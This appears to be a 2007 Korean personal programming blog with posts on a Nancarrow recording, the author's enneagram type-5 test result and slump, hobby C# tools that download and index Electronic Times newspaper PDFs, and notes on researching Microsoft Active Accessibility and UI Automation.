이 프로 중간에 Nancarrow의 Toccata for Violin and Player Piano가 나온다. 처음 들었을때는 잘 몰랐는데 다시 들으니 맛이 들어버렸다. 이곡만 하루 반나절동안 들은것 같다. 거의 2분이니까 30*12=300번은 들었나보다-_-;;

근데 안타까운것은 앨범 전체가, 심지어는 이곡 전체가 맘에 드는건 아니라는것.
아마존 리뷰가 상당히 볼만하다. 앨범소개를 하는데 정말 깔끔하게 잘 해놓았다.

이 리뷰에 따르면 ,이 앨범의 Toccata for Violin and Player Piano는 1935년작의 1980년대 개정판이고, Player piano에 (빠른 연주를 위하여)출력강화장치를 부착시켜 연주하였다고 한다.


바로가기 : http://www.amazon.com/Nancarrow-Pieces-¿Tango-String-Quartet/dp/B0009JMELU

2007년 9월 17일 월요일

[애니어그램]5번유형 (탐구전문가)Investigator

요즘 슬럼프에 빠져있어서 대책을 마련하기 위해(?) 성격테스트를 해봤습니다.

윤태익 의식발전소(http://www.yoontaeik.com/)에서 성격테스트를 하여 "5번유형 (탐구전문가)Investigator"라는 결과가 나왔고, 이에 대한 내용입니다.

이내용을 보니 슬럼프의 원인을 알 수 있네요. 고쳐야겠습니다. 테스트라는게 이런점에서 참 좋은거지요,



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처음에 이렇게만 쓰고 말았는데, "약점"에서의 "개인적 신변은 나누려 하지않는다"라는 점을 고치기위해 약간 적어둡니다. 아래 게시물을 바탕으로 슬럼프에 빠진 이유를 밝혀보자면,
1. "감정에 흔들리지 않는 자기 절제"에의 실패.
2. "자신을 유능하게 만들어줄 무언가"를 계속 잃어간다는것.
3. "무능한 사람이 되어 안전이 침해"되는 느낌.


3번항목:
정말 오랜만에 C++를 사용하는데, 클래스랑 템플릿 지정하는 문법이 생각이 안났습니다. 도대체 어떻게 돌아가는지는 아는데, 문법을 대충 찍어맞춰도 계속 틀리니 말입니다. 인터넷을 할 수 있는 상황이었으면 지식즐에서라도 찾을 수 있었을텐데 이때는 아무런 레퍼런스도 볼 수 없는 상황이었습니다. 어쩔수없이 아래에 나와있는대로 '왠만해선 남의 도움을 받지 않으려는 성격'이지만(자존심으로 먹고사는)이번만큼은 자존심을 구겨가면서 남의 손을 빌릴 수밖에 없었네요. 나름대로 C++를 한다고 생각해왔었는데, 이번계기로 완전히 절망모드로 변했습니다. ("겨우 클래스도 못만들면서 컴퓨터로 먹고 살 작정이냐!!"하는 메아리가 머리속에서 울려퍼지더군요.).

2번항목:
또한, 이번에 "usb메모리를 잃어버리고, 핸드폰은 고장났고, PDA는 짓눌려서 안나오고, 손목시계의 건전지가 다 닳았다"하는 2번의 항목들이 한꺼번에 밀려와서 심리적 압박감을 더 증대시키는것일지도 모르겠네요. 이때문인지는 잘 모르겠으나, 요즘에는 '아무리 잡아봐도 주위의 것들이 떠나가고 있다' 라는, 예전에는 감히 생각도 못해봤던 생각들이 떠오르네요. 특히나 3번 항목이 요즘 이벤트에 추가가 되어서, '머리속의 지식마저도 떠나가고있다'라고 생각하니 절망감만 들더군요,




안타깝게도 아래에는 위 문제에 대한 해결방안이 나와있지 않네요. 이렇게 문제점을 파악했으니 이제는 전문가에게 상담을 구해야 할 때가 온것 같습니다.

또한 원래 이 블로그는 지식 저장이 목적이었는데(아래에 또 나와있네요.) 단점보완을 위해서(?)이런것도 가끔씩 올려야 할 것 같습니다.^^




출처 : http://blog.naver.com/metis5?Redirect=Log&logNo=120012897776
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'아는 것이 힘이다'
'하나를 보면 열을 안다'
'나는 생각한다, 고로 나는 존재한다'

특징과 대표 인물
타고난 전략가
명쾌한 논리와 지혜로 빛나는 탐구 전문가
-철학가,사색가,논리가,관찰자,전략가,전문가,숙련가,사상가,현명한사람,정신적 지도자,책사,교수님,컴퓨터,리모콘,우주인,냉장고,구두쇠 등의 별명을 갖고 있다. 또한 '논리정연', '아는 것이 힘이다'등의 생활 신졸르 가지고 살아가는 사람들이다.
이들은 타고난 지적 능력을 바탕으로, 세상을 관찰하고 분석하며 그것을 움직이는 원리를 밝혀내기를 좋아한다. 복잡한 수학 공식을 만들어내고, 컴퓨터 공학이나 과학을 발전시키고 첨단기술을 개발해내는것은 전형적인 5번유형의 작품이다
자기만의 세계에서 강력한 영향력을 행사하고 싶은 욕구도 있다. 미지의 정보에 관심을 갖고 깊이 탐구해서 자신만의 논리를 세우고, 기존의 지식이나 논리를 자신이 나름대로 세운 논리와 비교 하곤 한다.
상징동물은 지혜의 상징인 '부엉이'이다 뜬듯 감은 듯한 눈은 사소한 정보 하나까지도 놓치는 법이없다. 또 소리없이 날아다니는 부엉이처럼 5번유형이 왔다간 자리는 귀신도 눈치 채지 못한다는말이있따. 낯선 정보나 상황에는 공포심있어 함부로 앞에나서지않고 전체상황을 살핀다. 특히 감정적인 문제에서는 서툴기때문에 자기만의 공간으로 움츠려드는 경향이있다

빌 게이츠와 영국
생각의 속도를 저술한 빌게이츠 게그맨 전유성 영화감독 임권택 이창호9단 이건희 삼성그룹회장등이 5유형의 인물이다.
대표하는나라는 영국이다. 영국인들은 말수가 적고 모임을 좋아하지않으며 프라이버시를 중요하게 생각한다. 감정절제를 미덕으로 여긴다. 취미는 사교적활동보다 오래되고 작은것을 수집하는 모임에 활발하게 참여한다.

절제된 표정과 조용한 말투
특별한 표정이 없고 넓은 이마가 특징이다 꾸미지 않아 선하고 순박한 이미지와 차갑고 냉정하며 지적인 이미지가 공존한다.
감정표현은 크게 없다 체격은 대체로 크지 않고, 전체적인 체격에 비해 머리가 약간 크다는 느낌을 준다. 어깨를 움츠린채 소리나지않게 걷는다 머리쪽에 에너지가 몰려있고 내성적이여서 만성적인 코막힘,두통,축농증,피부질환(무좀,습진,가려움증)등의 증세를 보이는사람들이 많다.
복장은 남성의 경우 학자나 의사, 교수들처럼 넥타이 없이 편안한 니트류의 조끼나 가디건을 좋아한다
여성들도 특별히 멋을 부리지 않는 편이며 원피스처럼 입고 벗기 편한 스타일을 선호한다 색상도 눈에 띄지 않는 카키색이나 회색등의 중간 톤의 색을 좋아한다
헤어스타일도 커트나 하나로 모아서 뒤로 묶는 스타일을 선호한다.
대체로 말수는 적은 편이다 편한한 분위기에서 논리를 펴기시작하면 말이 많아진다.
반복해서 말하는 것을 싫어해서 다시 물어보면 대충가르쳐준다

강점

객관적인 관찰력과 분석력
외부의 사건과 사물들로 부터 자신의 감정을 떼어내서 객관적으로 바라볼 수 있으며 주관적인 견해, 사람들의 압력, 요구사항 등에 구애 받지 않고 명확하고 냉철하게 판단하는 능력이 있다.
복잡하게 얽혀 있는 사건들이라도 한 번 보고 전체적인 상황과 핵심을 파악할 수 있는놀라운 관찰력을 발휘 한다. 남들은 그냥 지나쳐버리는 자연현상이나 사소한 일들까지도 세밀히 관찰하고 연구하는 습관이 있기 때문이다. 언뜻 스쳐지나가는 사람들의 표정이나 시장의 상황에서도 결정적인 단서들을 찾아내며, 기존의 정보들과 결합하여 새로운 이론들을 창조해내곤 한다.
또한 전체 사건에서 개별 사안들을 분리하여 세심하게 분석하며,풍부한 지적 상상력으로 자신만의 추상적인 가설들을 세우고 입증하면서 능력을 발휘하고 싶어한다. 따라서 뛰어난 분석력을 바탕으로 다윈,아인슈타인,니체 등 기존의 학설을 뒤집은 역사적 인물이 되거나 연구개발자, 과학자, 진상 조사가,박식한 학자 등으로 활동하곤 한다.

핵심원리를 파고드는 강력한 집중력
사건과 사건 간의 연관성이 없이 그저 나열되어 있는 것들은 머릿속에 잘 들어오지 않는다. 일단 논리적으로 맞고 타당성이 있다고 생각해서 관심을 갖게 되면, 관련 책과 인터넷을 뒤지면서 어떻게든 알아내려 하는 경향이 있다. 집중력이 뛰어나 주변 상황에 주의를 뺏기지 않고, 숨은 공식들을 끈기 있게 발견해 핵심을 파악하여 요점정리를 잘한다. 때문에 다른사람들보다 빠른시간내에 힘들이지 않고 많은것을 생산해낸다 무엇이든 마음만먹으면 빨리배운다.

전문가 수준의 지식과 식견
최소한 한분야 이상해서 전문가 수준으로 발전하고자한다. 지혜로운 사람으로 비치고 싶어하기때문이다. 독특하고 간과하기 수운것, 다른 사람들이 경험하지 못한 신비하고 낮선 분야에 쉽게 끌린다. 복잡하고 어려운 이론에 더욱 흥미를 느끼며 다른사람이 자신의 아이디어에 금방반응하면 실망한다.
정보(지식은)돈이다 라고 생각한다. 지식을 모아두고 은밀하게 저장해 두곤한다 또한 좋아하는 분야의 물건을 모으는 수집광이기도 하다.
근본적으로 조용한성격이나 자기만의 분야나 조직에서는 놀라운 장악력을 발휘 지적인 견고함과 카리스마를 가진 사람들이기도 하다 따라서 전문분야를 다루는 기업의 실력있는 경영자가 되기도 한다.

에너지를 최소화하는 전략
기본적으로 머리에 에너지가 집중되어있어서 다른사람에비해 에너지가 부족하다고 느끼므로 쓸데없이 에너지를 낭비하고 싶어하지 않는다. 예를들어 인공지능로봇, 알약하나로 영양소공급을 받는다든지하는것들..에너지 낭비를 최소화하고자 미래에 대한 계획 이나 준비를 하고 사후 점검하는 습관이 있다. 먼저 객관적으로 상황을 분석하고 충분한 근거를 확보한 후에 계획을 세워 행동한다.
에너지를 최소화하면서도 최대의 결과를 낼 수 있는 고도의 전략을 만들기때문에 갑자기 질문하면 당황해한다

감정에 흔들리지 않는 자기 절제
감정때문에 일을 그르치고 싶어하지 않으므로 감정을 억제하고 합리적으로 대하려고 노력한다. 신중하고 객관적으로 세상을 바라보고자 한다. 유혹에 넘어가서 쉽사리 뛰어들지 않는다.

약점

탐욕과 인색함
근원적인 약점은 '인색함' 이다. '덜갖고 덜쓰자!"는 식의 최소주의자라고도 할수있다
지적인 활동에 에너지를 사용함으로써 육체적인 에너지를 최대한 줄이고자 노력하게 되는것이다.
살림살이도 최소한의 물건들로도 만족한다. 따라서 생활이 단순해 보인다.
부족한 자원을 축적해야한다고 생각하기때문에 한번 들어온것은 손에서 잘 놓치않고 남몰래 상당한금액을 저축하기도 않다 .지출관리에 엄격하다..
특히 관심분야의 책 CD등을 쌓아두고 버리지않는 경향이 있다. 중요한것은 빌려주지도 않고 숨기기도 한다. '내가 너에게 요구하지 않을테니 너도 나에게 바라지마라' 는 식이다.
자신을 유능하게 만들어줄 무언가를 놓지 않으려한다 지식을 나누는것을 싫어한다

편협한 시각과 냉소적인 태도
자신의 전문분야 내에서 옳다고 생각하는 특정논리를 중심으로 모든 것을 꿰어 맞추려는 경향이 다. 예를 들어 심리학에 심취하면 심리학으로 해결되지않는 인간관계는 없다고 생각한다.
때문에 편협해져서 많은 부분을 놓치지도 않다. 이경우 때때로 자신이 알지못하는것도 있다는사실에 부끄러워하기도 한다.
그럴수록 궤변을 늘어놓기도 한다 사람들이 자신의 논리에 동의하지 않거나 전체적인 상황을 정확히 파악하지 않은채 비논리적으로 지적할경우 분노한다.
만약 대항할수 없는 위치에 놓일경우 냉소적이고 수동적으로 상대방의 기를 꺽어버리고 그렇지않으면 공격적이고 논쟁적으로 비판하면서 신경전을 벌인다.

지적인 교만과 오만함
자신이 그룹내에서 가장 똑똑한 사람이라는 착각에 빠지며.. 사람들을 지적인 등급으로 판단 '무식하기는......' 한번 말하면 알아들어야지 , 그것도 몰라?, 말해준다고 알아들어?라는 식의 경멸의 눈빛과 오만한 태도를 보인다. 남들도 자신처럼 연구하고 고민해서 배워야한다고 생각하는것이다.
자신은 무엇이든 잘 할 수 있는 특별한사람이라고 생각하는경향도 있으며 천재임을 입증하려고 엉뚱한 행동을 하기도 않다 . 자신과 비슷한 지적능력을 가진사람이 있으면 적대적인 태도를 취하기도 한다. 이들에게 절망적인말은 "자네, 역시 노력해도 안되는군!"이라는 말이다.
자신의 천재성을 인정해주지않으면 상대방이 원하는만큼만 일하고 방관하는 경향이 있다.

행동력 부족과 가상현실로의 도피
직접나서기보다는 뒤에서 전략을짜고 조정하는 '리모콘 리더쉽을 즐기고 왔다갔다하는 걸레질 보다는 가만히서서 하는 설거지를 택한다.
현실에서 충족되지 못한 욕구를 가상현실에서 만족시키곤한다. 게임에 빠지거나 공포에서 벗어나고자 엽기적인 것을 즐기기도 한다.
또한 어떤 일이 끝나고 난 후 혼자만의 공간에서 지나간 일들을 세세히 기억해내며 재구성하는 습관이 있다. 이럴때 긴장을 풀고 편안히 자신의 감정을 음미한다.

교류를 피하는 고립적 태도
인간관계도 체력소모, 에너지낭비로 보기때문에 사람들과 어울리기보다 혼자있는 시간을 좋아한다. 자신의 지성과 식견을 함께 할 만한 사람 앞에서는 말이 많아 지기도 하지만 개인적 신변은 나누려 하지않는다. 사회적으로 고립되거나 이상한사람 으로 취급될수도 있다 왠만한 일은 이메일로 처리한다. 그러나 자신의 경계를 침범하지 않으면 의외로 솔직하게 마음을 열수 있는 담백한 사람이기도 하다. 마음속 깊이 깊은감정이 있으면서도 거기에 휩쓸리지 않고 객관적으로 바라보려노력한다.

양날개

창조적인 4번날개
4번 날개를 주로 쓰는 5번유형은 호기심이 많고 독특한 자기만의 세계를 표현하고 싶어하는욕구가 강하다. 변덕스럽고 창의적이며, 흥미로운 것을 꾸준히 연구해서 새로운 것을 만들어 내기도 한다.
머리형이면서도 예술형에 끌리는경우이다. 풍부한 상상력을 갖고있기때문인데 감정적이고 내향적이며 다른사람들이 알지못하는 자기만의 은신처를 찾고자 한다.
그러나 독립적이고 저항적인 면이 있어 외로움을 많이 타며, 내적으로 격렬한 감정에 휩싸이기도쉽다. 초현실적이고 환상적인 것, 어둡고 숨어 있는 주제나 기괴하고 엽기적은 것 등에 끌리는 경향이 있다.

현실적인 6번 날개
다른사람들과 협력할줄 알고 꾸준하며, 실질적인 문제를 잘다룬다. 혁신적인 아이디어를 내놓기도하며 필요한 정보를 꼼꼼하게 수집관찰하며, 다양한 사실에서 의미있는결론을 내놓기도 하며 많은 것들 예측할 수 있다. 주변을 관찰하고 이해하는것을 좋아하므로 4번 날개에 비해 덜 내향적이다.
평소엔 감정을자제하지만 논쟁을 좋아하고 자신의 관점을 강하게 고수하려는 경향하려는경향이 있다.
자신의 의견에 동의하지않는 사람들에겐 공격적이게되기도 한다. 엔지니어링이나 과학,철학,발명이나 수리 같은 데 관심을 갖는 경우가 많다.

완성으로 가는길

'무능해질까봐 두렵다', '(원리를) 알아야만 해! 라는 집착
무능한 사람이 되어 안전이 침해되는것을 두려워한다. 아무일도 안하는것 같지만 머릿속으로 쉴새없이 바쁘게 논리와 전략을 짜고 있기 때문이다. 이들이 정말로 원하는건 자신의 열정을 솓아 독립적인 전문 분야를 구축하고 , 강한 지도력과 카리스마를 발휘하는 것이다.
충분히 알지못하고 말과 행동으로 옮겼다가 무시당하고 소외당할까봐 자제한다
실제로 다른사람의 감정이나 분노에 쉽게 압도 당하므로 부모의 관심이나 사랑조차도 억압으로 받아들이고 일찍부터 가족과 떨어져 자신을 안전하게 해줄 지적인 분야에 매달렸던 경험을 갖고있는경우가 많다
무의식중에 '자신의 논리=안전' 이라고 생각하는것이다.
남들이 알지 못하는 자신만의 분야를 개발함으로써 독립성 안정성 확보하고 최소한 한분야에서는전문가 수준으로 통달하여 그룹내의 위치를 확고하게 굳히려고 한다.

후퇴방향으로 이끄는 ARS
스트레스를 받거나 극단적인 상황에 빠질경우 후퇴방향인 7번 유형의 부정적 모습과 비슷한면이 보인다.
▷한가지 논리를 끝까지 마무리 못하고 새로운 경험과 아이디어들을 찾아 산만하게 옮겨다닌다.
▷현실성과 타당성을 검토하기 전에, 아이디어들을 마구 내놓는다.
▷자기 연민에 빠져 지적인 오만이 심해진다.
▷몸을 돌보지 않고 자기관리를 소홀히하며 자제력을 잃는다.(영화,마약,술,오락,성등에 빠져들기도 한다)
▷괴팍하고 냉소적인 태도 때문에 대인관계에 문제를 겪는다.
▷다른 사람의 도움을 거부하고 적대감을 보인다.

성공의 문을 여는 열쇠
타고난 재능과 긍정적인 에너지를 100퍼센트 발휘하고 완성으로 가기위해 8번유형의 긍정적인모습(행동력과 교류)들이 자연스럽게 몸에 밸 때까지 끊임없이 노력해야한다.
▷정리가 덜 된 아이디어도 과감히 공개하기(틀려도 좋다는 용기를 갖자)
▷다른 사람 관찰만 하지말고 의견을 자신 있게, 강하게, 먼저 꺼내놓기
▷'이정도면 알아듣겠지?' 라며 생략하지 말고, 생각을 충분히 빠짐없이 밝히기
▷불만스러운 감정을 그때그때 표현하기(뒤늦게 혼자 속상해하지 말자)
▷누구 시킬사람 없나 두리번 거리지말고,직접 행동하기(몸을 움직이자)
▷인간적인 교류를 자주하기 (애정을 말과 행동으로 표현해보자)
▷비논리적인 의견도 무시하지 않고 귀담아 듣기


-타고난 성격으로 승부하라 에서 발췌-

2007년 9월 15일 토요일

[프로젝트]etnews whole downloader 1.0

개요
바로 전 프로젝트인 etnews freepdf downloader 1.0(http://frontjang.blogspot.com/2007/09/pdf-10.html)을 보완하기 위한 프로젝트이다. 이전 게시물인 C#으로 PDF파일 제어하기(http://frontjang.blogspot.com/2007/08/c-pdf.html)를 바탕으로 etnews freepdf downloader에서 pdf를 받고 그 안에서 텍스트를 추출하는 기능을 추가하려 했었는데. 이상하게 한글이 뽑아지지 않았다. 아무래도 cmap문제 인것 같던데, 이문제를 해결하려면 자료를 더 조사해야했다. 귀찮아서 관둘까 하다가, 생각난것이, 전자신문 PDF 서비스 페이지 메인화면.(http://pdf.etnews.co.kr/pdf_today.html). 이곳에는 특정 날짜의페이지와 기사제목이 나오고, 기사원문을 볼 수 있는 사이트가 링크되어 있는것.





기능
전자신문 PDF 서비스 페이지 메인화면.(http://pdf.etnews.co.kr/pdf_today.html)에서 기사리스트를 추출하고, 원문과 페이지 섬네일을 저장하는것. 또한 기사는 mysql db로 저장되기도 한다.






기타
별것 없었다. 정규표현식(Regex)과 날짜(DateTime)를 적절히 사용한것. 단지 문제가 된건 mysql 쿼리를 한번에 하나씩 하면 자원소모가 있으므로 한파일에 몰아서 파일에 저장하고, 그것을 한번에 덤핑하는 방식을 썼는데, 파일 형식을 utf-8으로 하고 mysql -uroot etnews < query.txt 하는 방식을 썼는데 확인해보니 글자가 다 깨져 있었다. 인코딩 문젠가 해서 다 비우고 다시 설정하여 해봤는데도 마찬가지였다. 생각해보니 현재 콘솔(?)에서는 utf-8을 쓰는게 아니기때문에 그랬던거 같아서 default로 했더니 되었다.
또한 전자신문 서버의 부하를 줄이기 위해(-_-?) netlimiter로 다운로드 속도를 50k로 제한하여 다운받았다.(그래도 500mb나 받았다. db로 저장하면 120mb밖에 안되던데 그 차이가 무엇인지 파악해야겠다.)

이보다 더 중요한건, 블로그스팟에서 '<'기호를 그대로 썼다가(lt;로 말고) 태그로 인식하는바람에 그 뒤에 있던 글을 다 날려버렸다는것.!!!









스크린샷

2005년 5월 1일부터 2007년 9월 14일까지의 기사중에서 'vmware' 라는 단어를 검색한 결과












2007년 9월 13일 목요일

[프로젝트]etnews freepdf downloader 1.0

개요
전자신문은 이메일뉴스레터를 신청하면 그날치 신문pdf 파일을 무료로 제공하는데,(대략 오전 9시이후면 가능한것 같다) 이게 신문 한페이지당 한파일로 올려놔서 상당히 관리&다운로드하기 귀찮았다.(30개의 pdf 파일을 하나씩 다운받는다고 생각해보라.;;;)


기능
이 프로그램의 기능은 날짜별로 폴더를 만든 후, 그 안에 pdf 파일을 다운받는 방식이다. 끝.


기타
닷넷 프레임 워크의 웹브라우저 오브젝트를 이용하여 만들어보니 핵심코드는 50줄정도만으로 끝이났다.-_-;;또한 스크린샷은 너무 간단해서 볼것도 없다.

근데 문제는, 이런걸 올려도 되냐 이거다. 나만 알고 있으면 계속 다운받을수 있을텐데 말이지..
자료같은거 올리려다가 이런 생각떄문에 못올리는 프로젝트도 몇개가 된다. 대신 하드와 백업장치에 고이 모셔두고 있는 상태. 비슷한 프로젝트로, 중앙일보 무료 pdf 다운로더 프로젝트가 있다. 하지만 이런거 공개되는것도 시간이 알아서 해결해줄듯. ;)



문제되었던 사항.
1. 전자신문이 리퍼러를 읽는것인지, 데이터 포스팅을 하는데도 반응이 없었다. 결국에 document를 읽어와서 submit 하는 방식으로 바꿨다.
2. DocumentCompleted가 여러번 반복되는 현상을 겪었다. pdf 목록을 저장하는데 이게 계속 반복되니까 목록을 중복해서 저장하게 되었다. 배열을 일일히 조사하는건 비효율적이므로, DocumentCompleted된 후 배열크기가 0이 아닐경우, 아무런 처리를 하지 않는 방법으로 했다.(뭐 이런것까지 써야되나.-_-)
3. 다운로드는 WebClient로 구현했는데, 처음에 현재 브라우저의 헤더값을 이쪽에 전송하는 방법을 몰랐다. 뭐 꼼수를 쓰긴 했지만...(꼼수를 써버렸더니 기존에 짜놨던게 소용없어지게 되었다.ㅜㅠ)


추가구현할것.
1. 여러개의 pdf 파일을 한 파일로 합치는 기능을 구현한다.
2. pdf 파일 내의 text를 따로 뽑아서 나중에 검색 할 수 있도록 한다.
3. 자체 메일서버를 구축하여 메일이 오는 즉시 프로그램을 가동 할 수 있도록 한다. dotnet framework를 조금 더 공부해보자!!(메일이 와야 그날 신문을 읽을 수 있는 권한(?)이 생기므로.)



DocumentCompleted관련자료
1. [2.0] Strange problem with WebBrowser control "double loading" a page, eh?
(http://www.vbforums.com/archive/index.php/t-457720.html)
MSDN에 따르면 이 이벤트는 페이지의 프레임을 읽어 올 때마다 발생한다고 한다. 근데 AllowNavigation-false를 쓰라는 댓글도 있구만-거의 안쓰이게 되던데.-_-;; 그리고 이건 한 페이지를 로드할 때 그 내부의 프레임을 로드하지 말라는게 아니라 다른 사이트로 움직이는거를 방해하는건데.=> 프레임 갯수 읽어온후 이 이벤트가 발생한 수랑 비교해보면 될텐데?

2. Grabbing information from web pages using regular expressions
(http://www.codeproject.com/useritems/Regex.asp)
내가 처음에 이 방법으로(사이트에 포스트 하는) 로그인 해와서 빼오려고 했는데 실패를 했었다.(덕분에 소스가 더 보기 쉬워진 느낌). 여기서는 DocumentCompleted를 한 후에 이 이벤트를 지워버리는데, 그러면 위에서 설명했던대로 완전한 컴플릿 상태가 아니니까 패스.

3. WebBrowser.DocumentCompleted is raised more than once
(http://dotmad.blogspot.com/2007/05/webbrowserdocumentcompleted-is-raised.html)
이런 경우가 드문게 아니라는걸 보여주기위해 링크 하나 더 추가해 놓은것..(볼건 없음)

2007년 9월 11일 화요일

Active Accessibility 네번째(혁명적?) 발자취

Codeproject 에서 accessibility라고 쳐봤다. 전에 이 키워드로 찾아보긴 했는데 대충 지나간것같아 다시 본것이다.

UI Automation overview (Part I)
(http://www.codeproject.com/WPF/UIAutomation1.asp)

UI Automation overview (Part II)
(http://www.codeproject.com/WPF/UIAutomation2.asp)


이 사이트는 원래 WPF(Windows Presentation Foundation) 를 활용한 페이지이지만, 아직 이쪽에 문외한인지라, 구동 원리만 보기로 했었다.

소스코드를 보니까 Windows.Automation.AutomationElement라는 놈을 쓰고있는게 아닌가. 예전에 Accessibility 검색했을때 Automation이라는 단어가 계속 나오긴 했지만 무시하고 있었는데!(연관된 기술이라고만 생각했었다-너무 Accessibility에만 집중한 결과다)

.net framework 3.0 의 UIAutomationClient.dll에서 이놈의 정체를 알 수 있었다.
특히나 포인트로 객체 얻는게 AutomationElement.FromPoint(System.Windows.Point) 라니. 이렇게 간단할수가. 역시 닷넷이 킹왕짱인가!!


하지만 이걸 써도 인터넷 익스프로러에서 마우스 아래에 있는 개체를 불러오기는 안되나보다.(이문제 때문에 계속 자료를 찾은건데-_-;)


아무튼 이 발자취는 계속 될 계획이다. 뭐 다른 꼼수를 생각해 내지 않는 한 말이다.
(그리고 이제 Automation이라는 레이블 항목을 추가할 시기가 된것 같다.)





참고로 WPF 관련하여 볼만한것.
=> Windows Presentation Foundation으로 최상의 사용자 인터페이스 빌드(From MSDN Magazine)
(http://www.microsoft.com/korea/msdn/msdnmag/issues/06/10/AppFundamentals/default.aspx)

Active Accessibility 세번째 발자취

이번에는 Devpia에서 Accessibility로 게시물들을 검색해 보기로 했다.

1. 가장 상단에 나온 [VC/TC] WinMagnet 유틸리티 소스 [모든 윈도우에 Winamp의 자석 기능]
(http://www.devpia.com/dExpert/?op=tv&Seq=502)
이 프로그램 소스가 약간 도움이 될 것 같다. 가격도 싸고 해서 바로 지를 뻔했다. 전역 hook과 다른 프로세스의 윈도 프로시저 서브클래싱, 동적 dll 사용 방법을 알 수 있다고 하는데, 어디 한번.



2. [우슥] 톰과 제리 - 1탄
(http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=51&MAEULNo=20&no=1327&ref=614)
마우스가 지나가면 마우스 밑에 있는 글자를 인식하는 기능을 구현하겠다고 게시물이 올라와 있다. 근데 내용중에 Accessibility가 쓸데없다고 하는데 이유가 무러까. 2탄을 기대하게끔, 별다른 내용이 없다.-_-

3. [우슥] 톰과 제리 -2탄
(http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=51&MAEULNo=20&no=1340&ref=616#)
알고보니 한메 소프트의 quickfider의 dll을 불러와서 사용하는 방법을 알려주는 강의인가보다.-_- API 후킹. 2탄에서 강의가 종료된것같다. 으윽.ㅜ


4. [질문] 다른 프로그램의 문자열 읽어들이기
(http://www.devpia.com/Maeul/Contents/Detail.aspx?BoardID=50&MAEULNo=20&no=298355&ref=298355)
답변이 되지 않은 게시물이다. 짧은 소스가 올려져 있고 이것의 잘못된점이 무엇인지 물어보고 이다.



========================

이어서...(원래 네번쨰 발자취로 게시물을 생성하였으나 내용의 부실로 인해서 여기에..)

[우슥] 톰과 제리 - 1탄(http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=51&amp;MAEULNo=20&no=1327&ref=614)글에서 소개되었던 한메 myquickfinder에대해, 그리고 이와 비슷한 프로그램인 야후 미니에 대해 조사해보기로 했다.




1. 온라인 영한사전 프로그램은 한메 MyQuickFind v1.0 build 123
(http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=3355&MAEULNo=425&no=2859&ref=6)한메 마이 퀵파인드 1.0버젼을 파일을 다운받을 수 있다.


2. 이것을 아시는 분은 정말 없는걸까요? 후킹...(http://www.devpia.com/Maeul/Contents/Detail.aspx?BoardID=50&MAEULNo=20&no=273098&ref=273098)
GetWindowText 나 GetDlgItemText 를 이용해서 값을 받아오는데에 실패했다고 한다. 노력한 소스가 올려져 있다. 댓글은 조금 공상소설을 쓰는느낌이다?ㅋㅋ


3. 질문]야후 미니!? 구현 컨셉!!
(http://www.devpia.com/MAEUL/Contents/Detail.aspx?BoardID=50&MAEULNo=20&no=603984&ref=603984)역시 GetWindowText 를 구상하고 있었다. 예제프로그램이 절실하다고 써놓았다.-_-

이게 전부다.

2007년 9월 10일 월요일

Active Accessibility 두번째 발자취

구글에서 Active Accessibility로 검색한 결과.

1. DOM and active accessibility questions and responses
(http://lists.w3.org/Archives/Public/w3c-wai-ua/1999JanMar/0140.html)
Acive Accessibility는 엘리먼트 컨텐츠에 대한 정보를 제공 해 줄 수 있지만, 위치등의 일부애트리뷰트는 보여지지만 폰트, 색깔등의 스타일적 애트리뷰트들은 표현되지 않는다고 한다.


2. active accessibility--Microsoft
(http://www.voicerecognition.com/voice-users/archive/1997/0631.html)
http://www.microsoft.com/enable => 마이크로소프트의 Accessibility 홈페이지다.



3, Active Accessibility - IAccClientDocMgr
(http://www.codeguru.com/forum/showthread.php?t=237840)
3-1 : 이 게시물에 나와있는 IAccClientDocMgr 에 대해 찾다가 Microsoft UI Automation페이지를 발견했다 (http://forums.microsoft.com/MSDN/ShowForum.aspx?ForumID=352&SiteID=1). 이쪽 조사하는데 유용하게 쓰일 듯 하다.
3-2 : IAccClientDocMgr가 뭔가하여 찾아봤다. http://msdn2.microsoft.com/en-us/library/ms696176.aspx에서 IAccClientDocMgr::LookupByPoint 라고 나와있고.이 함수는 문서내부의 포인터에서 문서객체를 얻어낸다고 한다. 이것은 Active Accessibility Text Services API의 내부 항목이고, 이 API 안에는 IAccServerDocMgr, IAccDictionary가 더 있다, 나중에 다시 찾아 볼 일이 생길것 같다.^^
3-3. 리플을 보다가 http://www.koders.com/을 발견했다. 소스코드 검색엔진이라고 하는데. 어디 검색해봐야지.(리플에 있는 주소의 내용은 길어서 안본다.-_-)


4. Microsoft Active Accessibility
(http://www.brainbell.com/tutors/Visual_Basic/Microsoft_Active_Accessibility.htm)
이건 Accessibility의 튜토리얼 중의 하나로 보인다. 튜토리얼 전체몰록은 Visual Basic - Accessibility in Visual Basic에서(http://www.brainbell.com/tutors/Visual_Basic/ch16.htm) 볼 수 있다. 그다지 지금 하고 있는일에대해 쓸만해보이진 않는다.



5. USING MICROSOFT ACTIVE ACCESSIBILITY IN A WEB BROWSER FOR THE BLIND AND VISUALLY IMPAIRED
(http://www.brookes.ac.uk/speech/publications/77_csun.htm)
5-1. 시각에 문제가 있는 사람들을 위하여 웹페이지의 내용을 이야기 해주는 BrooksTalk에 대해 소개한 글이다. 프로젝트 홈페이지는 http://www.brookes.ac.uk/schools/cms/research/speech/btalk.htm 이고, 프로그램을 무료로 다운 받을 수 있다. 대신 사이트가 좀 느리다.-_- 그리고 막상 다운받고 실행해보려고 하면 ViaVoice Speech engine을 다운받아야 실행이 가능한데, 이게 옛날버젼이라서 다운받을 수 없나보다
5-2. Microsoft Speech API 5.3는 여기서(http://msdn2.microsoft.com/en-us/library/ms723627.aspx) 참조 가능하고, 다운로드는 여기서(http://www.microsoft.com/downloads/details.aspx?FamilyID=5e86ec97-40a7-453f-b0ee-6583171b4530&DisplayLang=en)



6. Coding for Active Accessibility
(http://doping.sics.se/prof/2006/08/22/coding-for-active-accessibility/)
6-1. 4번 사이트가 클라이언트쪽에 치우쳐져 있다고 하면서, Guoqiang Wu's Blog를 소개하고 있다.(http://blogs.msdn.com/guowu/archive/2004/12/22/330231.aspx) 또한, JSWare 사이트를 소개한다.Visual Basic Sample Code(http://www.jsware.net/jsware/vbcode.php3#acc) 이 사이트에는 Accassibility 뿐만 아니라 다른 비주얼베이직 소스를 제공한다.
